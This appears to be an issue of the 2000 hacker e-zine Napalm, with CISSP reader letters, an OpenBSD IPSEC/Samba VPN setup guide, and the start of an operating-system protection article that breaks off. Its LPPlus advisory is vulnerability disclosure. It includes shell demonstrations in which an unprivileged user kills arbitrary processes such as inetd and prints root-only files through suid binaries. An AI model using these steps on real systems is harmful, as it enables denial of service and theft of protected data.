Copy Link
Add to Bookmark
Report
Napalm 07
/\ /^/_ _ __ __ _|^|_ __ ___
/ \/ / _` '_ \/ _` | | '_ ` _ \
/ /\ / (_| |_) (_| | | | | | | |
/ / \/ \__, .__/\__,_|_|_| |_| |_|
|_|
. . . ..n7: 2000.10.06
---------------------------------------------------------------------------
all content copyright © 2000 by the individual authors. all rights reserved
---------------------------------------------------------------------------
# prtvtoc
. . . .....................................................................
0x00 Editor's Comments
0x01 URLs
0x02 CISSP Certification (Part 2)
0x03 Security Holes in LPPlus
0x04 Using IPSEC and Samba to integrate Windows Networks
0x05 Resource Protection Mechanisms
0x06 Music Reviews
0x07 Credits
..................................................................... . . .
___________________________________
--------------------------- - kynik
[=] 0x00: Editor's Comments
Xploita has the spotlight in this issue, with an even longer article
than Ajax's last IPSEC epic. Due to lack of volunteers, and just for this
issue, I'm handing over the music review section to c_routine so he can
talk all he wants to about the new Rancid album.
In other news, gh0st.net looks to be arising from the ashes like the
phoenix of myth. Things are still pretty much under wraps, but when it all
comes to light, it'll be very damn cool. Also look forward to a number of
articles coming from gh0st.net's founder phatal.
If any of you are interested in providing commentary, music reviews,
full articles, or just have questions you'd like answered, feel free to
email us at napalm@firest0rm.org and we'll include it in the next issue!
____________________________
-------------- - kynik, ajax
[=] 0x01: URLs
Persistent uniform resource locators
http://www.purl.org/
Various security extensions to FreeBSD
http://www.trustedbsd.org/
Another security extension to FreeBSD
http://www.securebsd.org/
Yet another security extension to FreeBSD
http://www.eth-security.net/files/rna.tar.gz
Set up your home network
http://arstechnica.com/guide/networking/installation-1.html
Artificial Neural Networks for Misuse Detection
http://secinf.net/info/ids/nn-idse/
Lots of links to securityware
http://www.opensec.net/
______________________________________________
-------------------------------------- - kynik
[=] 0x02: CISSP Certification (Part 2)
In response to my previous article about CISSP ceritification, I got a
few emails from subscribers:
Ariel Silverstone <asilverstone@kpmg.com> wrote:
Yes, IT IS WORTH it. It Doubled my salary to over $100K
Ariel Silverstone, CISSP
[And later wrote:]
I hire a lot of people in my job, I especially look for CISSPs all over.
That is another benefit.
Ariel Silverstone, CISSP
-----------------------------------------------
Fabian Oliva <fabianoliva@hotmail.com> wrote:
Sup Kynik,
I just recently passed the CISSP, after two weeks of studying. It seems
like a really tough test, but its not. Now on the subject if its really
worth it?
Speaking in terms of security competency, example: to secure a Solaris
server...not a chance. Some people have referred to the CISSP exam as the
"vocabulary test" But when you talk about salary, then the picture gets
pretty. One guy who took the test and passed got a 40% salary increase -
not bad, huh? I will see if my company will give me a increase if not...
bye bye...
Anyways...let me know if you want some help preparing for the exam.. I
can mail you my study notes, which books to study and which areas to
concentrate on.
BTW- Great Mag.. I would definately like to write a article, just was so
busy studying. But I'm done studying *political stuff* for the year. On
to the funstuff - C, shell scripting and breaking *nix boxes. In the end
certifications dont mean much, just that your good at memorizing books,
but they help your pay...
Peace,
Fabian J. Oliva
CISSP CCSE CCNA MCSE-yuk N+
[And later wrote:]
Its not 3 years of Security set in stone, its more of 3 years of security
related work.
Example:
I have 1 yr experience as a Security Consultant, but 2 years as a
Network Administrator/Support, and since being a Network Admin involves
some of the tasks of "security", they were cool with that.
The Handbook [of Information Security Management] is an OK book; it
doesn't cover all the areas, but it's better than nothing. Read the
older handbook online 3rd edition, i belive its at www.itknowledge.com
They offer a one day review session that lasts for like 10hrs, that was
pretty intense, that helped me prepare for the exam big time.
Also read up on the following:
* X.509 Digital Certificates
* Know SSL, IDEA, PGP, The different encryption algorithms
* Also know physical security, such as CCTV cameras
If are like me (more technical than political) then the "technical"
crap won't be a problem at all, it was mostly questions based on the OSI
model.
That was the only real knowledge you needed, I felt that you could think
the other questions through... but again, that was my observation...
www.securityfocus.com has a email list group
___________________________________________________
------------------------------------------- - echo8
[=] 0x03: Multiple Security Holes in LPPlus
Summary
-------
LPPlus is Plus Technologies' print management system for unix. It
contains several serious security holes, some of which undermine the
integrity of the printing subsystem, some of which threaten the security
of the system on which the product is installed.
Details
-------
Hole #1:
Of the 74 binaries that the installer put on my Solaris system, 26 were
installed suid to root and world-executable. On my linux box, it was 26
out of 64. Several of these should not be suid-root, or should be
group-executable only, and carefully restricted.
For example, the following binaries are installed mode 4755 by the
installer:
$LPHOME/bin/dccsched
$LPHOME/bin/dcclpdser
$LPHOME/bin/dccbkst
$LPHOME/bin/dccshut
$LPHOME/bin/dcclpdshut
$LPHOME/bin/dccbkstshut
The first three start the scheduler, LPD server and network status
daemons, respectively. The next three stop the aforementioned services.
In the default configuration, all six can be executed by any unprivileged
user, effectively giving any user on the system the ability to start and
stop printing services. No checking of userid, group or anything else is
done prior to execution.
Hole #2:
$LPHOME/system/lpdprocess is created mode 777.
This file contains the process ID of the dcclpdser process. The
combination of this file's permissions and the fact that dcclpdshut is
executable by any user allows an unprivileged user to send signal 2
(SIGINT) to any process on the system. All that's required is for an
unprivileged user to replace the PID in $LPHOME/system/lpdprocess with
the PID of their target process and then run $LPHOME/bin/dcclpdshut.
Hole #3:
$LPHOME/bin/dccscan is suid-root and can be executed by any user. It may
allow an unprivileged user to print files to which he does not have read
access. The ramifications are fairly obvious: although an unprivileged
user cannot read /etc/shadow (for example), using this utility, he may be
able to print it out. In my testing, this worked even when sending to
printers to which my user was not given any access in the LPPlus security
configuration (in fact, my test user had no access to ANY printers, or
ANY LPPlus services).
Some other potential holes:
* if the archive module is installed, $LPHOME/bin/dccasweep can be
executed by any user. This may undermine the integrity of the archiving
facility.
* if the web interface is installed, it utilizes a very old beta version
of apache, and the installation requires that the server (and all of
its children, which run as nobody out-of-the-box) run as root.
* on the linux system, $LPHOME was created mode 777. Root's umask was set
to 022. This didn't seem to be the case on the Solaris system, although
the reason for this may be the different version of LPPLUS rather than
the different unixes (see below for version info).
Demonstrations
--------------
Hole #1:
$ id
uid=600(test) gid=300(users)
$ ps -ef|grep dcc
test 26357 26351 0 18:18:06 pts/0 0:00 grep dcc
root 26262 1 0 17:41:50 ? 0:01 /opt/lpplus/bin/dccsched
root 26272 1 0 17:42:03 ? 0:00 /opt/lpplus/bin/dcclpdser
root 26276 1 0 17:42:14 ? 0:00 /opt/lpplus/bin/dccbkst
$ dccbkstshut
$ dcclpdshut
LPD048E Signal sent to dcclpdser to shut down.
$ dccshut
LPP054I LP Plus scheduler ordered to shutdown.
$ ps -ef|grep dcc
test 26253 26239 0 17:39:45 pts/0 0:00 grep dcc
$
Hole #2
$ id
uid=600(test) gid=300(users)
$ ps -ef|grep inet
test 26285 26279 0 17:42:42 pts/0 0:00 grep inet
root 12276 1 0 Aug 22 ? 0:00 /usr/sbin/inetd -s
$ cat > $LPHOME/system/lpdprocess
12276
^D
$ dcclpdshut
LPD048E Signal sent to dcclpdser to shut down.
$ ps -ef|grep inet
test 26291 26279 0 17:45:17 pts/0 0:00 grep inet
$
Hole #3:
# id
uid=0(root) gid=1(other)
# ls -alt /root/test
total 6
drwx------ 2 root other 512 Sep 5 17:46 .
-r-------- 1 root other 365 Sep 5 17:46 foo
drwx------ 3 root other 512 Sep 5 17:46 ..
# su - test
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ id
uid=600(test) gid=300(users)
$ ls -alt /root/test
/root/test: Permission denied
$ dccscan /root/test 30 5 "-dlp0"
$
# now, go to the printer and wait for the files to come out, or watch them
# being queued as root, if you have access to dccstat
Vulnerable Versions
-------------------
3.3.0 for Unix (on Solaris 2.6).
3.2.1 for Linux (on Redhat 5.2).
* These are the only versions I had available for testing.
Workarounds
-----------
At this time, no patches or updated versions are available. However, most
of the utilities in question either don't need to be suid, or can be
group-owned by a more restricted group and mode 4750. The web interface
works fine with a newer version of Apache, and the web server does not
need to run with all the children spawned as root.
The vendor was notified of these problems on 8/24/2000. They did respond,
confirming the existence of the holes. However, a request for an ETA on
an updated release or patches has thus far been ignored.
______________________________________________________________________
------------------------------------------------------------- - _azure
[=] 0x04: Using IPSEC and Samba to integrate Windows Networks
/Intro
_/why and how
Occasionally you may be in a position where you are required to join
two Windows networks together across the Internet in a secure manner.
I'll leave detailed descriptions of possible motivations up to your ample
imagination. This paper aims to ease your acquisition of experience in
the Windows/NetBIOS world by sharing the fruits of my experimentation.
Technical discussion will begin with a simple overview of various
networking tools (and their configuration) under OpenBSD, and continue
with the actual integration of Windows machines into a functioning IPSEC
VPN. Feel free to skip portions of this article if you are already
familiar with these concepts.
_/suggested uses
---/apps server
The hot new buzzword seems to be 'B2B' (Business to Business). Many
companies are rolling out 'ASP' (Application Service Provider) services
-- designed to provide access to various applications across the Internet
from a single, 'secure' location. Several that I have been exposed to are
NT-only machines completely installed and provided by the vendor. In
these cases, you may not have permission(!) to install additional
software on said device. Our 'secure solution' is completely transparent
to the machine making use of it.
---/secure sharing
People want to share their files. Many times, separate offices may be
using e-mail to transmit sensitive information back and forth between
locations. We can do our best to break that habit by enabling them to
share their files in an 'easier' way. Yes, I refer to the 'Network
Neighborhood'.
---/vpn in general
It just makes good sense. Utilizing OpenBSD/Samba gateways removes the
liability for the encryption and connection from the NT servers or other
proprietary machines that no one one site (or on staff) may have access
to. It also eliminates the possibility users on client machines (that
might otherwise be gateways themselves) will contaminate or knock out
your connection.
_/for openbsd 2.7
The methods outlined in this article are tailored to the IPSEC
implementation included with OpenBSD 2.7 (it may be beneficial to
experiment with a -current build, as 2.7 requires some patching).
Earlier versions of OpenBSD differ in the way IPSEC is configured, and
therefore may require some tweaking in the rules generated by
ipsec_config_esp.pl to work.
---/links to other operating systems
Some other operating systems also offer support for IPSEC. Below is a
link to the project home page for an IPSEC implementation that has been
ported to Linux.
FreeS/WAN on Linux:
http://www.xs4all.nl/~freeswan/
/Connections
_/choose_provider
Choosing a provider can be more tricky than it looks. Some providers
have outlawed VPNs in their Terms of Service (TOS) agreements. Some
providers are particularly reluctant to provide a static IP address.
Still other providers do not offer enough bandwidth to make Windows
integration worthwhile over the Internet. Many will cling to some
unwieldy combination of the three.
---/fast_enough?
Generally speaking, you will want something equivalent to or faster
(preferably _much_ faster) than an ISDN connection for your filesharing
adventures to be worthwhile. At slower speeds, Windows networking
becomes extremely flaky, and your users will start claiming that 'Unix
sucks.'
[ And we couldn't have that, could we? {kynik} ]
_/alternatives
Cable modems or DSL can make a great cost effective solution to your
bandwidth problems. In many markets, you can purchase connection speeds
approaching T1 speeds for under $100 a month. Some cities with fiber
ring installations are also now offering 'point to point' connections of
up to 100mbs for less than you will probably pay for a traditional T1.
/Gateways
The first step in setting this all up is drawing a basic network map.
You will need one gateway box on each end of your proposed VPN. Your
setup should look something like this:
[NetworkA]----> [OpenBSD/Samba] <----> [OpenBSD/Samba] <----[NetworkB]
This is a standard IPSEC VPN setup as outlined in the faq material
available at the OpenBSD website:
http://www.openbsd.org/faq/index.html
We're using tunnel mode ESP in our configuration. Once you have your
network established, you can begin installing and configuring your
gateway machines for our more specialized purposes.
_/machine_config
---/connection
Depending on how you are connected to the internet, you will configure
your box accordingly.
---/dhcpd?
Offering dhcpd services for the client machines behind your gateways can
be a good idea; especially if the number/location of workstations is
likely to change often. See dhcpd(8).
---/dns?
You may consider running DNS for your workstations _on_ the gateway
machine itself. This can increase overall performance and speed up
responses on the workstations. IPF will of course be configured to block
this for external queries.
//kernel_config
---/customizing
Customizing your kernel to fit your specific hardware is always a good
idea. It cuts down the size of the file that is loaded into memory; thus
increasing system performance. For our purposes, you will want to enable
at least the following options:
option IPFORWARDING
option IPFILTER
option IPFILTER_LOG
Since I am typically on a 100mbps LAN on my internal side, I also
usually kick up my NMBCLUSTERS to 8192 as recommended in the performance
tuning faq at:
http://www.openbsd.org/faq/faq11.html
You will need to edit /etc/rc.conf to activate ipfilter and IPNAT at
boot time. You will also need to have net.inet.ip.forwarding=1 in your
/etc/sysctl.conf file.
---/patches
It's also a good idea (especially in the case of software packages like
IPF and IPSEC that are constantly under development) to patch your system
from the latest sources. In the case of OpenBSD 2.7, you'll definitely
want to do this to make sure you nab nasty bugs the software contained as
it shipped.
See http://www.openbsd.org/errata.html for info on current patches.
---/state_table
The state table in particular is something to pay attention to. In
versions of OpenBSD prior to 2.7, the default max limits of the state
table were not very big. This could lead to dropped packets and other
unpredictable problems in the course of your network's operation.
Extremely difficult to track down if you aren't looking for the problem
in the first place.
Take a look at /usr/src/sys/netinet/ip_state.h:
#define IPSTATE_SIZE 257
#define IPSTATE_MAX 2048 /*Maximum number of states held */
It may be wise to increase these (in -current, this has already been
done) to insure you don't fill up your state table and bonk your
connection inexplicably:
#define IPSTATE_SIZE 5737
#define IPSTATE_MAX 4013 /* Maximum number of states held */
If you want to tune these, the rules of thumb are:
- IPSTATE_MAX should be ~70% of IPSTATE_SIZE (for good hash table performance)
- IPSTATE_SIZE should be prime; and avoid primes near powers of two
You should be able to increase these to whatever values suit you.
(thanks to kjell@openbsd.org via deadly.org)
You will of course then need to recompile your kernel.
_/ipnat
Machines behind your gateways will have to know how to talk to machines
outside of your LAN. This is accomplished through a novel mechanism
called _routing_. In our case, all of our client boxen will be located in
private address space. OpenBSD ships with IPF, and this includes a handy
utility known as IPNAT. IPNAT handles Network Address Translation, which
will be crucial in establishing connectivity to the Internet from our
workstations. While not directly necessary to accomplish our stated goal
of joining Windows networks; we will probably want our workstations to do
more than simply share files across the VPN. If not, you can safely skip
this section.
The VPN gateway boxen will also end up serving as Internet gateways for
the other machines, while protecting them from the outside world with
IPF. A simple configuration that will get us up and running is as
follows.
In this example we will use the following network addresses:
- external ip (on ne0): xxx.xxx.xxx.1/32
- internal net (on xl0): iii.iii.iii.0/24
# /etc/ipnat.conf
map ne0 iii.iii.iii.0/24 -> xxx.xxx.xxx.1/32 portmap tcp/udp 10000:60000
map ne0 iii.iii.iii.0/24 -> xxx.xxx.xxx.1/32
map ne0 iii.iii.iii.0/24 -> xxx.xxx.xxx.1/32 proxy port ftp ftp/tcp
The first line maps private addresses in the 10000 port range to the
public address in the 60000 range. The second line maps ports outside
these ranges identically. The third line tries to make up for quirks in
the ftp protocol. Packets traveling across the gateway to leave the
machine will be transformed in this manner before being spit onto the
Internet; and converted back when replies are received.
_/ipf
In the example below, ne0 will represent our external ethernet
interface. Since I get my Internet connection from a cable modem, my
external connection is hooked up directly to a 10mbps card, and my
internal network is connected through a 100mbps card. I've found that
this setup is effective and reliable. Generally, it's not necessary to
waste a 100mbps capable card on an interface that can only handle 10mbps.
Much has been written
http://www.deja.com/dnquery.xp?QRY=ipf+rules&ST=MS&svcclass=dncurrent&DBS=2
concerning different philosophies of firewall configuration. I generally
choose to adopt a 'default-deny' stance, as this simplifies the process
of deciding what ports to block -- I simply only allow access to ports
that I want to be open. In tandem with this is the choice to perform
stateful packet inspection; roughly: only accepting packets that are part
of an active session initiated from inside our network.
(See http://www.obfuscation.org/ipf/ipf-howto.html#TOC_20 for more on why this
is a good idea.)
Continuing with our example format:
- external ip (on ne0): xxx.xxx.xxx.1
- internal ip (on fxp0): iii.iii.iii.1
The initial rule will block all traffic indiscriminately, and log any
attempts at a connection to /var/log/ipflog (not specifying a log level
will cause IPF to log things to /var/log/system and the console as well,
which may or may not be desirable).
block in log level local0.info on ne0
Right out of the gate we have blocked all traffic coming to or passing
out from ne0. This means you are pretty much dead in the water.
Fortunately, we did not use the argument 'quick' yet, which would force
the ipfilter to immediately discard everything and refuse to read any
more rules. Since we didn't, the ipfilter moves on.
The next thing we do is to get a little more specific about what we are
blocking. We will use the 'quick' argument to make sure these rules are
not accidentally overridden later. The following lines are useful to
prevent IP spoofing and DoS attacks. Since packets from these addresses
should never be coming in on your external interface, we're not too
worried about blocking them entirely.
block in quick on ne0 from 127.0.0.0/8 to any
block in quick on ne0 from 10.0.0.0/8 to any
block in quick on ne0 from 172.16.0.0/12 to any
block in quick on ne0 from 192.168.0.0/24 to any
block in quick on ne0 from any to xxx.xxx.xxx.0/32
block in quick on ne0 from any to xxx.xxx.xxx.255/32
At this point we have setup a firewall that will allow no traffic in,
and no traffic out. This is probably not too useful. What we want to do
now is allow certain traffic from behind the firewall to make connections
to the outside. Used in conjunction with IPNAT, this would allow machines
on our internal network, using our firewall host as their IP gateway, to
surf the net.
However, connections to the inside from the Internet would still be
completely blocked. Here are the rules. Note that each address is
allowed individually, and that TCP, UDP, and ICMP are each allowed with
separate rules. This is an important detail. Even if someone were to
setup on your internal LAN and choose an un-used address in your private
subnet, they would still have to be added in manually to the firewall
rules before they could talk to the Internet. If this is not practical or
necessary for your network, you can allow in subnets in place of
individual addresses.
pass out quick on ne0 proto tcp/udp from xxx.xxx.xxx.1/32 \
to any keep state
pass out quick on ne0 proto icmp from xxx.xxx.xxx.1/32 \
to any keep state
pass out quick on ne0 proto tcp/udp from iii.iii.iii.2/32 \
to any keep state
pass out quick on ne0 proto icmp from iii.iii.iii.2/32 \
to any keep state
pass out quick on ne0 proto tcp/udp from iii.iii.iii.3/32 \
to any keep state
pass out quick on ne0 proto icmp from iii.iii.iii.3/32 \
to any keep state
pass out quick on ne0 proto tcp/udp from iii.iii.iii.4/32 \
to any keep state
pass out quick on ne0 proto icmp from iii.iii.iii.4/32 \
to any keep state
Now your firewall machine itself, as well as your internal machines
iii.iii.iii.2, iii.iii.iii.3, and iii.iii.iii.4 will be able to surf.
We've used the 'keep state' argument to enforce that packets not
emanating from your specific TCP/IP session be blocked.
The next step involves opening whatever ports you want to face the
Internet to traffic from the outside. Since this machine will be devoted
to acting as a gateway for your private network, you may not wish to
enable _any_ remote access. However, if you decide to enable access to a
port, you would add a rule like this:
pass in quick on ne0 proto tcp from any to xxx.xxx.xxx.1/32 \
port = 22 flags S keep state keep frags
This will allow tcp traffic in to xxx.xxx.xxx.1 on port 22 from
anywhere. All other traffic coming in on ne0 will be blocked completely,
and logged to /var/log/ipflog.
And that's pretty much it. By keeping state on all packets in and out,
you are protected against FIN scans and most denial of service attacks.
No packet will be admitted into your external interface unless it meets
with your stringent criteria. Any port scan will have to complete a full
TCP connection to one of your open ports before it will get anything in
return. To the outside world, your blocked ports look like they do not
exist.
Pat yourself on the back, this is a Good Thing(tm). Now all you have to
do is sit back and watch your ipflog grow to mammoth proportions. (Don't
rest too easily; there will be more changes to this configuration
necessary after we meddle with IPSEC). A useful tool for parsing the
obscene amount of data you will be collecting can be found at:
http://www.antibozo.net/ogata/webtools/plog.txt
_/ipsec_ config
This has been discussed at great length in previous articles (see
ajaxx's overview in _Napalm #6_). Since we're using a basically
text-book example of an IPSEC/ESP VPN; I've cut to the chase here and
included a handy perl script that will generate our rulesets for us:
ipsec_config_esp.pl
(download from: http://www.inri.net/openbsd/perl/ipsec_config_esp.pl)
[ Or you can snag this from the addenda on the main page. {kynik} ]
First of all, make sure you have net.inet.esp.enable=1 and
net.inet.ip.ipsec-acl=1 enabled in /etc/sysctl.conf on your gateway
machines. Then, copy the files ipsec_config_esp.pl creates and copy them
to their prescribed locations.
Before we can fire up our IPSEC connection, there are some changes to
/etc/ipf.conf that need to be made in order to allow our ESP-encrypted
traffic to pass between the gateways. On both machines you will need to
add the following rules (again keeping with our previous example
conventions):
Gateway A
- external ip (on ne0): xxx.xxx.xxx.1
- internal ip (on fxp0): iii.iii.iii.1
Gateway B
- external ip (on ne0): yyy.yyy.yyy.1
- internal ip (on fxp0): hhh.hhh.hhh.1
On Gateway A:
# /etc/ipf.rules
#
# pass in IPSEC stuff
#
pass in quick proto esp from yyy.yyy.yyy.1/32 to xxx.xxx.xxx.1/32
pass out quick proto esp from xxx.xxx.xxx.1/32 to yyy.yyy.yyy.1/32
pass in quick on enc0 from hhh.hhh.hhh.0/24 to iii.iii.iii.0/24
On Gateway B:
# /etc/ipf.rules
#
# pass in IPSEC stuff
#
pass in quick proto esp from xxx.xxx.xxx.1/32 to yyy.yyy.yyy.1/32
pass out quick proto esp from yyy.yyy.yyy.1/32 to xxx.xxx.xxx.1/32
pass in quick on enc0 from iii.iii.iii.0/24 to hhh.hhh.hhh.0/24
And of course, to enable our changes we will have to do:
# ipf -Fa -f /etc/ipf.rules
At this point you are ready to run your IPSEC scripts on each gateway.
Once this step is completed, your VPN should be functioning between both
of your private networks.
netstat -rn -f encap should yield results similar to:
Encap:
Source Port Destination Port Proto SA(Address/SPI/Proto)
iii.iii.iii/24 0 hhh.hhh.hhh/24 0 0 yyy.yyy.yyy.1/00001001/51
iii.iii.iii/24 0 yyy.yyy.yyy.1/32 0 0 yyy.yyy.yyy.1/00001001/51
xxx.xxx.xxx.1/32 0 hhh.hhh.hhh/24 0 0 yyy.yyy.yyy.1/00001001/51
xxx.xxx.xxx.1/32 0 yyy.yyy.yyy.1/32 0 0 yyy.yyy.yyy.1/00001001/51
Ping test between your to private nets to make sure everything is
kosher. If not, trouble-shooting tips are as easy as clicking to:
http://www.openbsd.org/faq/faq13.html
And then it's time to move onto the Windows Networking portion of our
show...
_/samba_config
Samba is our friend. It will help us coax the Windows machines into
talking to each other in a reasonable manner. Fortunately for us, Samba
is a robust package that allows us to replicate many of the same services
you would otherwise have to look towards a licensed copy of Microsoft
Windows NT 4.0 Server for. With it, we can convince Windows client
machines that it really is in their best interest to comply with our
demands. We can even get them to recognize the fact that they are on a
network and other machines exist. By using Samba in this way, we can
overcome many of the annoying factors in trying to connect disparate
networks and fileshares over a non-NetBEUI connection. Since Microsoft
themselves are dropping emphasis on NetBEUI with Windows 2000, this even
seems to be a positive move from a marketing stand point.
[ It is suggested by Microsoft on Windows 2000 running Active Directory a
minimum rate of 512KB/s should be sustained between sites for Intra-Site
Replication to function correctly. On lower bandwidth sites, you should
use an Inter-Site Replication design. See MS Active Directory
Documentation for more information. {Reverse Corruption}]
We'll trust that you've accomplished the installation of Samba either
from the ports tree, from a package, or by compiling it from scratch on
your own. A basic overview of configuring Samba follows:
---/naming conventions
Naming your gateway hosts in Samba is the first step. We'll start with
a fresh (blank) /etc/samba/smb.conf file and work our way up. It's
usually a good idea to name your gateway's NetBIOS name identically to
its name in DNS and /etc/hosts. We'll start our file like this:
# Global parameters
[global]
netbios name = HOSTNAME
workgroup = WORKGROUP
Each gateway in the VPN will have its own separate Workgroup. Name
these accordingly (i.e., OFFICE1, OFFICE2, etc.). It is not required
that these Workgroups be a part of the client network. Since we are
merely using Samba as a WINS server; our clients can safely ignore all
its other features.
---/domain logons
It may be important to note that we are configuring the Samba servers as
though they were handling Domains when we may not necessarily configure
the Windows clients for Domain Logons. For synchronization of browse
lists between subnets, Samba requires that the Samba servers function as
Domain Master Browsers even if there are no clients actually logging in
through Domains.
domain logons = Yes
security = user
For a thorough overview of using Domain Logons with Samba and Windows
clients, you can refer to the on-line edition of _Using Samba_ at:
http://www.oreilly.com/catalog/samba/chapter/book/ch06_01.html
---/browse lists
Getting Network Neighborhood to work across the VPN can be very helpful
to frustrated users. Samba provides a relatively easy mechanism for
synchronizing browse lists between separate subnets. On each side of the
VPN, we'll want to make sure our Samba server has taken control of the
local browse list, and let it know to sync that browse list with the
Samba server on the other end. This will allow all client machines
connected to our VPN to show up in each other's Network Neighborhood.
os level = 34
local master = Yes
preferred master = Yes
domain master = Yes
remote browse sync = iii.iii.iii.iii
iii.iii.iii.iii = the private IP address of the Samba server on the opposite
end.
---/misc global parameters
The 'server string' is just whatever info you want to show up as a
description of your gateway machine when someone tries to browse it. Log
file location and size is up to you!
server string = Samba Server
log file = /var/log/smbd.%m
max log size = 50
We won't have Samba default back to DNS if it can't find a share-name:
dns proxy = No
---/wins and lmhosts
We _do_ however want Samba to act as a WINS server. In general, by
configuring this option you will save yourself a lot of headache when it
comes to operating your Windows clients on a network. By enabling WINS
services, your Windows machines can advertise and retrieve SMB
information to/from your Samba server rather than spraying broadcast
packets all over the LAN every time it has to access its network device.
This will significantly reduce collisions and can greatly increase the
efficiency of your connection.
wins support = yes
name resolve order = lmhosts wins bcast
By setting a resolve order, we'll let Samba know how to resolve requests
for SMB information when it receives them. The LMHOSTS file, similar to
/etc/hosts in Unix (except that it contains NetBIOS naming information
rather than hostname information), can be used to create hard-coded WINS
entries for certain machines. It would normally reside in /etc/samba,
and it's format looks like this:
iii.iii.iii.1 HOSTNAME
Unfortunately, merely creating an LMHOSTS entry for a host does _not_
make it show up in the Network Neighborhood. Synching the browse lists
(as mentioned above) is a necessary step to achieve this functionality.
---/filesystems
We're not foolish enough to try to use our firewall/gateway as a
fileserver are we?
---/printers
Ditto.
---/start it up
This is actually all there is to it. Having seen the default-install
smb.conf, you might not believe that a seventeen-line file could achieve
your wildest dreams. Since we are not actually accessing (or creating)
any shares on the Samba server, it is not necessary to create any Samba
users on the gateway machine at all. The only real service our clients
will be _accessing_ is WINS; which does not require a login.
It's good to start Samba with the -D (daemon-mode) flag, so that it
won't hang if something goes wrong with a session.
# smbd -D
# nmbd -D
/Workstations
The workstation: bastion of extended uptime and functionality. What
we'll be doing is configuring network addressing and naming for the
machines on the private side of your networks. We'll assume that you
A.) are running some 'modern' permutation of Windows 9x, and
B.) have a working NIC connected, installed and ready to go.
_/gateways
Windows clients will use the VPN gateway box as their TCP/IP default
gateway (follows, doesn't it?).
Right-click on Network Neighborhood. Scroll down and select 'TCP/IP ->
NIC' (whatever your NIC is). Click 'Properties'.
Click the 'Gateways' tab. Enter the address of the gateway's internal
interface (iii.iii.iii.1 or hhh.hhh.hhh.1). Click 'Add'.
_/addresses
Each workstation will be assigned a unique IP address in the subnet of
the gateway's private side (iii.iii.iii.0/24 or hhh.hhh.hhh.0/24).
Click the 'IP Address' tab. Enter a correct IP address and Subnet Mask.
_/wins
Here's where we add WINS services on the client. As was mentioned
before, this greatly increases the usability of Windows networking by
eliminating the need for your machine to send broadcast packets to the
LAN every time it accesses the network.
Click 'WINS Resolution'. Enter the private-side address of the gateway.
Click 'Add'.
_/dns
Click the 'DNS' tab.
If you decided to run DNS on the gateway machine(s), you'll enter the
private-side address of the gateway here. Otherwise, enter a known-good
DNS server.
Click 'Add'. Enter your hostname and domain (if you have one) as
appropriate.
Click 'Okay'.
_/identity
We'll want to correctly identify your machine here so that other
workstations will understand what they are looking at when they see you
pop up in Network Neighborhood. This is also where you'll configure your
Workgroup so that everything will remain tidy.
Click the 'Identification' tab.
Computer Name: This is your hostname. Minus the domain information.
Workgroup: WORKGROUP
Computer Description: Analogous to 'server string' in smb.conf
Click 'OK' and say yes when it asks if you want to reboot (we know you're
lying, but the machine doesn't care).
_/sharing
The main point of this entire exercise is to be able to access Windows
shares across the VPN we've established. In order to accomplish this,
we'll have to have enabled sharing in Windows.
---/mapping drives
You'll probably have some machines that need regular access to other
machines. Mapping drives on remote computers is one way to make this less
time-consuming.
- - -/batch files
I've had much better luck with mapping drives through batch files than
in trusting Windows to remember all of the information with its internal
mechanisms. This seems to be true of many of Windows' networking
functions. A simple batch file to map drive F: on iii.iii.iii.200 to
drive F: on hhh.hhh.hhh.2 might look like this:
@echo off
rem *** map drive f: on iii.iii.iii.200 to f:
net use f: \\iii.iii.iii.200\f /yes
Save that to map.bat and put it in the StartUp Menu. When you reboot,
the drive will be automatically mapped.
_/network neighborhood
Thanks to our setup in smb.conf, this should work for you out of the
box. Simply cruise to the machine you want to access.
/Programs
_/known caveats
Windows tends to panic, crap itself, and cease to function in the face
of actual network connectivity, but this is a known issue; especially
with Windows 95A/B. Patience with the installation (and re-installation)
of network drivers is sometimes a must. Be gentle. Tend its needs.
Never expect your changes to have taken effect if you power off the
machine before it finishes shutting down on its own; no matter how long
it takes.
---/speed issues
Running a program that is stored on a remote server is often a desirable
way to reduce disk usage on workstations, and consolidate/secure the
information users will be manipulating. Programs that hog a lot of
memory are not going to run very well on a slow connection. There are
obvious issues of waiting for various components to load; but Windows
also demonstrates its own proprietary tidbits of flakiness when it takes
too long to load a piece of software over a network. Large clunky
applications may not demonstrate the best performance when run across the
VPN.
/Summary
_/further reading
http://www.openbsd.org
http://www.samba.org
/Conclusion
A relatively elementary once-over, yes; but this should provide some
indication of real-world uses for these open source tools. IPSEC under
OpenBSD provides a robust VPN alternative to high-priced commercial
packages; and can spell the difference between secure connections and
plain-text transactions in many situations where end-users (and the
people in charge of end-users) are less than astute operators of
computers in general.
Working from this framework also leaves plenty of options open for
expansion, should OpenBSD be needed to come to the rescue of other
network tasks.
Viva la revolution.
_/signed
_azure
_/contact information
azure@gh0st.net
(http://www.nsacom.net)
_______________________________________________________
---------------------------------------- - Fl@w Xpl0it@
[=] 0x05: Resource Protection Mechanisms
Resource Protection Mechanisms:
Implementations in Operating Systems
This is an introduction to resource protection mechanisms in operating
systems with an analysis of the protection mechanisms as implemented by
Windows NT 4.0 and generic UNIX systems. Where significant modifications
have been made to the implementation of a protection mechanism by one of
the UNIX variants, this is also highlighted and discussed. Also,
potential threats to many of the resource protection mechanisms were
identified and included. The most unsettling aspect of this file is the
ease with which most of these mechanisms can be compromised. This
document merely seeks to encourage system administrators not to rely on
the operating system alone to provide complete protection for their
system.
Introduction
============
Resource management is one of the tasks performed by the operating
system. Each computer system contains within it several types of
resources that are capable of different functionality. Some of these
resources include the CPU, input-output devices and various types of
software. Each process executing on a computer requires access to several
of these different resources to allow it execute properly. It is the role
of the operating system as a resource manager to allocate them in an
efficient and fair manner. This allocation should also be performed in
such a manner that it does not starve processes of needed resources.
The operating system is also responsible for keeping track of the
status of all resources to determine which process each resource has been
allocated to and which resource has been freed by its assigned process.
Additionally, it also tracks the resource needs of each process and
schedules which processes should get what resource and the time period
this resource is available to the process.
Another important task of the operating system is the protection of
these resources. This is to ensure that processes can access a resource
only when the resource manager gives them permission to access it and
that they relinquish control of the resource when commanded to do so.
This task of the operating system as the protector of resources will be
the focal point of discussion in this paper.
Resource Types
==============
The resource types managed by an operating system fall under two
categories:
- Hardware Resources
These are physical resources present in the system, which have a finite
capacity. On most computer systems, the number of processes that can be
run far exceed the number of available physical resources, hence the
operating system creates virtual instances of some of these physical
resources and make them available to individual processes.
These physical resources include [1]:
* Processor - Process management system
